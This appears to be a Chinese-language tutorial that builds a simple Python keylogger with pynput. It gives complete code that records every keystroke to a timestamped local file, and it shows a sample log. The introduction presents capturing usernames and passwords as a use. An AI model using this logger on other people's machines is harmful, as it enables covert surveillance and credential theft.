使用Python设计键盘记录器
在这里,我们将使用python开发键盘记录程序。但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键。这些击键将存储在日志文件中。我们可以使用此按键记录敏感信息,例如用户名和密码。
为了创建键盘记录器,我们将使用Pynput模块。由于它不是python的标准库,因此我们可能需要安装它。
安装pyxhook模块-
我将使用pip安装pynput-
pip install pynputRequirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
要检查我们的安装是否成功,请尝试将模块导入python shell
>>> import pynput>>>
开始构建键盘记录器
安装所需的库后,导入所需的软件包和方法。为了监视键盘,我们将使用pynput.keyboard模块的key和listener方法。我们还将使用日志记录模块将击键记录到文件中。
from pynput.keyboard import Key, Listenerimport logging
接下来,我们将设置存储日志文件的路径,日志的存储方式和格式。
log_dir = r"C:/users/username/desktop/"logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
然后,我们调用了on_press()函数,该函数为按键创建了一个定义,并将按键作为参数。
def on_press(key):logging.info(str(key))
我们要做的最后一件事是建立一个Listener实例,并在其中定义on_press方法,然后将该实例连接到主线程。
with Listener(on_press=on_press) as listener:listener.join()
在结合上述步骤之后,我们处于创建最终程序的阶段-
from pynput.keyboard import Key, Listenerimport logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
当我的脚本运行时,我尝试打开浏览器并键入“ hello world,Wikipedia”。让我们看看我们的日志文件发生了什么-
我可以看到,在计算机桌面上创建了一个“ keyLog.txt”文件,如果尝试查看其内容,则会得到-
2019-01-18 17:06:21,854: Key.cmd2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'
这样我们可以看到我尝试在浏览器中键入的内容,每个按键都存储在此文件中。因此,我们在这里用python创建了一个非常简单的按键记录器。
以上是 使用Python设计键盘记录器 的全部内容, 来源链接: utcz.com/z/347249.html